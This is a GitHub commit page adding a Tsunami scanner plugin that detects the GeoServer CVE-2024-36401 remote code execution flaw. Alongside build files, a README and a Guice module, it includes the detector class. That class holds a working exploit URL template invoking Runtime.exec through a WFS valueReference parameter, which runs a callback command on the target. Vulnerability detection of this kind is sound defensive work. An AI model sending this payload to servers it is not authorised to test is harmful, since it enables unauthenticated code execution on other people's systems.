Skip to content

Commit

Permalink
Merge pull request #522 from grandsilva:geoserver
Browse files Browse the repository at this point in the history
PiperOrigin-RevId: 688869518
Change-Id: I6d261e679adaa18e3d5f4483da950c30808accff
  • Loading branch information
copybara-github committed Oct 23, 2024
2 parents 91cbf07 + 10dcf4c commit b94bce2
Show file tree
Hide file tree
Showing 8 changed files with 578 additions and 0 deletions.
20 changes: 20 additions & 0 deletions community/detectors/geoserver_cve_2024_36401/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
# Geoserver CVE-2024-36401 RCE Detector

This detector checks for Geoserver RCE (CVE-2024-36401). Multiple OGC request
parameters allow Remote Code Execution (RCE) by unauthenticated users through
specially crafted input against a default GeoServer installation due to unsafely
evaluating property names as XPath expressions.

Ref:

- https://github.com/advisories/GHSA-6jj6-gm7p-fcvv

## Build jar file for this plugin

Using `gradlew`:

```shell
./gradlew jar
```

Tsunami identifiable jar file is located at `build/libs` directory.
67 changes: 67 additions & 0 deletions community/detectors/geoserver_cve_2024_36401/build.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
plugins {
id 'java-library'
}

description = 'Geoserver RCE (CVE-2024-36401) VulnDetector plugin.'
group = 'com.google.tsunami'
version = '0.0.1-SNAPSHOT'

repositories {
maven { // The google mirror is less flaky than mavenCentral()
url 'https://maven-central.storage-download.googleapis.com/repos/central/data/'
}
mavenCentral()
mavenLocal()
}

java {
sourceCompatibility = JavaVersion.VERSION_11
targetCompatibility = JavaVersion.VERSION_11

jar.manifest {
attributes('Implementation-Title': name,
'Implementation-Version': version,
'Built-By': System.getProperty('user.name'),
'Built-JDK': System.getProperty('java.version'),
'Source-Compatibility': sourceCompatibility,
'Target-Compatibility': targetCompatibility)
}

javadoc.options {
encoding = 'UTF-8'
use = true
links 'https://docs.oracle.com/en/java/javase/11/'
source = '11'
}

// Log stacktrace to console when test fails.
test {
testLogging {
exceptionFormat = 'full'
showExceptions true
showCauses true
showStackTraces true
}
maxHeapSize = '1500m'
}
}

ext {
tsunamiVersion = 'latest.release'
junitVersion = '4.13.1'
okhttpVersion = '3.12.0'
truthVersion = '1.1.3'
guiceVersion = '4.2.3'
}

dependencies {
implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}"
implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}"
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}"

testImplementation "junit:junit:${junitVersion}"
testImplementation "com.google.truth:truth:${truthVersion}"
testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}"
testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}"
testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}"
}
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
rootProject.name = 'geoserver-cve-2024-36401'
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
/*
* Copyright 2024 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.tsunami.plugins.detectors.rce;

import static java.lang.annotation.ElementType.FIELD;
import static java.lang.annotation.ElementType.METHOD;
import static java.lang.annotation.ElementType.PARAMETER;

import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import javax.inject.Qualifier;

/** Annotation for {@link GeoserverCve202436401VulnDetector}. */
final class Annotations {
@Qualifier
@Retention(RetentionPolicy.RUNTIME)
@Target({PARAMETER, METHOD, FIELD})
@interface OobSleepDuration {}

private Annotations() {}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,200 @@
/*
* Copyright 2024 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/

package com.google.tsunami.plugins.detectors.rce;

import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.collect.ImmutableList.toImmutableList;
import static com.google.tsunami.common.data.NetworkServiceUtils.buildWebApplicationRootUrl;
import static com.google.tsunami.common.net.http.HttpRequest.get;

import com.google.common.annotations.VisibleForTesting;
import com.google.common.collect.ImmutableList;
import com.google.common.flogger.GoogleLogger;
import com.google.common.util.concurrent.Uninterruptibles;
import com.google.protobuf.util.Timestamps;
import com.google.tsunami.common.data.NetworkServiceUtils;
import com.google.tsunami.common.net.http.HttpClient;
import com.google.tsunami.common.net.http.HttpResponse;
import com.google.tsunami.common.net.http.HttpStatus;
import com.google.tsunami.common.time.UtcClock;
import com.google.tsunami.plugin.PluginType;
import com.google.tsunami.plugin.VulnDetector;
import com.google.tsunami.plugin.annotations.ForWebService;
import com.google.tsunami.plugin.annotations.PluginInfo;
import com.google.tsunami.plugin.payload.NotImplementedException;
import com.google.tsunami.plugin.payload.Payload;
import com.google.tsunami.plugin.payload.PayloadGenerator;
import com.google.tsunami.plugins.detectors.rce.Annotations.OobSleepDuration;
import com.google.tsunami.proto.DetectionReport;
import com.google.tsunami.proto.DetectionReportList;
import com.google.tsunami.proto.DetectionStatus;
import com.google.tsunami.proto.NetworkService;
import com.google.tsunami.proto.PayloadGeneratorConfig;
import com.google.tsunami.proto.Severity;
import com.google.tsunami.proto.TargetInfo;
import com.google.tsunami.proto.Vulnerability;
import com.google.tsunami.proto.VulnerabilityId;
import java.io.IOException;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.time.Clock;
import java.time.Duration;
import java.time.Instant;
import javax.inject.Inject;
import org.checkerframework.checker.nullness.qual.Nullable;

/** A {@link VulnDetector} that detects the geoserver Cve-2024-36401 RCE vulnerability. */
@ForWebService
@PluginInfo(
type = PluginType.VULN_DETECTION,
name = "GeoserverCve202436401VulnDetector",
version = "0.1",
description = "This detector checks for Geoserver RCE (CVE-2024-36401)",
author = "grandsilva",
bootstrapModule = GeoserverCve202436401VulnDetectorBootstrapModule.class)
public class GeoserverCve202436401VulnDetector implements VulnDetector {

private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();

@VisibleForTesting
static final String RCE_PAYLOAD =
"%sgeoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames"
+ "=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'%s')";

private final PayloadGenerator payloadGenerator;
private final HttpClient httpClient;
private final Clock utcClock;
private final int oobSleepDuration;

@Inject
GeoserverCve202436401VulnDetector(
HttpClient httpClient,
@UtcClock Clock utcClock,
PayloadGenerator payloadGenerator,
@OobSleepDuration int oobSleepDuration) {
this.httpClient = checkNotNull(httpClient);
this.utcClock = checkNotNull(utcClock);
this.payloadGenerator = checkNotNull(payloadGenerator);
this.oobSleepDuration = oobSleepDuration;
}

@Override
public DetectionReportList detect(
TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) {
logger.atInfo().log("GeoserverCve202436401VulnDetector starts detecting.");

return DetectionReportList.newBuilder()
.addAllDetectionReports(
matchedServices.stream()
.filter(NetworkServiceUtils::isWebService)
.filter(this::isGeoserverInstance)
.filter(this::isServiceVulnerable)
.map(networkService -> buildDetectionReport(targetInfo, networkService))
.collect(toImmutableList()))
.build();
}

private boolean isGeoserverInstance(NetworkService networkService) {

final String rootUri = buildWebApplicationRootUrl(networkService);
try {
HttpResponse response =
httpClient.send(
get(rootUri + "geoserver/index.html").withEmptyHeaders().build(), networkService);
return response.status().equals(HttpStatus.OK);
} catch (RuntimeException | IOException e) {
logger.atWarning().withCause(e).log("Failed to send HTTP request to '%s'", rootUri);
return false;
}
}

private boolean isServiceVulnerable(NetworkService networkService) {
var payload = getTsunamiCallbackHttpPayload();
if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) {
logger.atWarning().log(
"The Tsunami callback server is not setup for this environment, so we cannot confirm the"
+ " RCE callback");
return false;
}
String cmd = payload.getPayload();

final String rootUri = buildWebApplicationRootUrl(networkService);

try {
httpClient.send(
get(String.format(RCE_PAYLOAD, rootUri, URLEncoder.encode(cmd, StandardCharsets.UTF_8)))
.withEmptyHeaders()
.build(),
networkService);
} catch (RuntimeException | IOException e) {
logger.atWarning().withCause(e).log("Failed to send HTTP request to '%s'", rootUri);
return false;
}
// If there is an RCE, the execution isn't immediate
logger.atInfo().log("Waiting for RCE callback.");
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration));
if (payload.checkIfExecuted()) {
logger.atInfo().log("RCE payload executed!");
return true;
}
return false;
}

private @Nullable Payload getTsunamiCallbackHttpPayload() {
try {
return this.payloadGenerator.generate(
PayloadGeneratorConfig.newBuilder()
.setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE)
.setInterpretationEnvironment(
PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL)
.setExecutionEnvironment(
PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT)
.build());
} catch (NotImplementedException n) {
return null;
}
}

private DetectionReport buildDetectionReport(
TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
return DetectionReport.newBuilder()
.setTargetInfo(targetInfo)
.setNetworkService(vulnerableNetworkService)
.setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
.setVulnerability(
Vulnerability.newBuilder()
.setMainId(
VulnerabilityId.newBuilder()
.setPublisher("TSUNAMI_COMMUNITY")
.setValue("GeoserverCve202436401"))
.setSeverity(Severity.CRITICAL)
.setTitle("Geoserver RCE (CVE-2024-36401)")
.setDescription(
"This detector checks for Geoserver RCE (CVE-2024-36401). "
+ "Multiple OGC request parameters allow Remote Code Execution (RCE) "
+ "by unauthenticated users through specially crafted input against "
+ "a default GeoServer installation due to unsafely evaluating property "
+ "names as XPath expressions.")
.setRecommendation(
"Upgrade Geoserver to a patched version. The vulnerability was fixed in"
+ " versions 2.23.6, 2.24.4, and 2.25.2.")
.addRelatedId(
VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-36401")))
.build();
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
/*
* Copyright 2024 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.tsunami.plugins.detectors.rce;

import com.google.inject.Provides;
import com.google.tsunami.plugin.PluginBootstrapModule;
import com.google.tsunami.plugins.detectors.rce.Annotations.OobSleepDuration;

/**
* A Geoserver Cve-2024-36401 Rce Detector Guice module that bootstraps the {@link
* GeoserverCve202436401VulnDetector}.
*/
public final class GeoserverCve202436401VulnDetectorBootstrapModule extends PluginBootstrapModule {

@Override
protected void configurePlugin() {
registerPlugin(GeoserverCve202436401VulnDetector.class);
}

@Provides
@OobSleepDuration
int provideOobSleepDuration(GeoserverRceDetectorConfigs configs) {
if (configs.oobSleepDuration == 0) {
return 10;
}
return configs.oobSleepDuration;
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
/*
* Copyright 2024 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.tsunami.plugins.detectors.rce;

import com.google.tsunami.common.config.annotations.ConfigProperties;

@ConfigProperties("plugins.community.detectors.geoserver_cve_2024_36401")
final class GeoserverRceDetectorConfigs {
int oobSleepDuration;
}
Loading

0 comments on commit b94bce2

Please sign in to comment.